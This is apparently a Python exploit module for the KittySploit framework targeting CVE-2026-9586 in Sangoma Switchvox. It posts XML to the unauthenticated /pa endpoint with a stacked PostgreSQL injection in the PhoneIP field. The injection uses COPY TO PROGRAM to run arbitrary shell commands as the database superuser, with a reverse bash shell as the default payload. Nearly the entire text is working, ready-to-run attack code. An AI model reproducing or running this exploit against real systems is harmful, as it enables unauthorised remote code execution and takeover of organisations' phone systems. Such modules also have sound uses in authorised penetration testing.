Sangoma Switchvox CVE-2026-9586 /pa SQLi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sangoma Switchvox CVE-2026-9586 unauthenticated PostgreSQL COPY TO PROGRAM RCE."""

from __future__ import annotations

import secrets

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Sangoma Switchvox CVE-2026-9586 /pa SQLi RCE",
        "description": (
            "Exploits CVE-2026-9586 via the unauthenticated /pa XML phone-notification "
            "endpoint. Injects stacked PostgreSQL into the PhoneIP field and uses "
            "COPY (...) TO PROGRAM to run a shell command as the database superuser."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-9586"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/reverse_bash",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-9586",
            "https://labs.sra.io/posts/switchvox/",
            "https://horizon3.ai/attack-research/vulnerabilities/cve-2026-9586/",
        ],
        "tags": [
            "switchvox",
            "sangoma",
            "voip",
            "sqli",
            "postgresql",
            "unauthenticated",
            "rce",
            "cve-2026-9586",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "endpoint_pattern_any": ["/pa"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "COPY TO PROGRAM"},
                ],
                "suggested_followups": [
                    "scanner/http/sangoma_switchvox_cve_2026_9586_detect",
                ],
            },
        },
    }

    command = OptString("", "Command instead of selected payload", False)
    output_file = OptString(
        "",
        "Remote file for COPY TO PROGRAM output (random under /tmp if empty)",
        False,
        advanced=True,
    )

    @staticmethod
    def _xml(phone_ip: str) -> str:
        return (
            '<?xml version="1.0" encoding="UTF-8"?>'
            "<IncomingCallEvent>"
            f"<PhoneIP>{phone_ip}</PhoneIP>"
            "</IncomingCallEvent>"
        )

    def _build_phone_ip(self, command: str) -> str:
        outfile = str(self.output_file or "").strip() or f"/tmp/.kitty-{secrets.token_hex(6)}.out"
        escaped = command.replace("'", "'\"'\"'")
        program = f"{escaped} > {outfile} 2>&1"
        return f"127.0.0.1'; COPY (SELECT '') TO PROGRAM '{program}'; --"

    def run(self):
        command = str(self.command or "").strip()
        if not command and hasattr(self, "payload") and self.payload:
            command = str(self.payload)
        if not command:
            command = "id"

        phone_ip = self._build_phone_ip(command)
        response = self.http_request(
            method="POST",
            path="/pa",
            headers={"Content-Type": "text/xml"},
            data=self._xml(phone_ip),
            allow_redirects=False,
        )
        if not response:
            print_error("Switchvox /pa did not respond")
            return False

        self.set_info(
            severity="critical",
            reason="Switchvox COPY TO PROGRAM payload submitted",
            path="/pa",
            command=command,
            status=int(response.status_code or 0),
        )
        return True